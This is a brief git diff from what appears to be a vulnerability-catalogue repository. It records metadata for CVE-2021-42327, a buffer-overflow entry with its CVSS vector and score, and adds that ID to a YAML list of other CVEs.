CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 6.7 + cve-id: CVE-2021-42327 + cwe-id: CWE-787 + cnvd-id: None + kve-id: None + + tags: 缓冲区溢出 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 6dcfa282aef0decb0e4685ef86208147412a5082..62d7a9b5b128d2741e507535a98d59230fff47fb 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -4,6 +4,7 @@ cve: - CVE-2019-16884 - CVE-2021-33909 - CVE-2021-3493 + - CVE-2021-42327 - CVE-2022-0995 - CVE-2022-1015 - CVE-2022-2602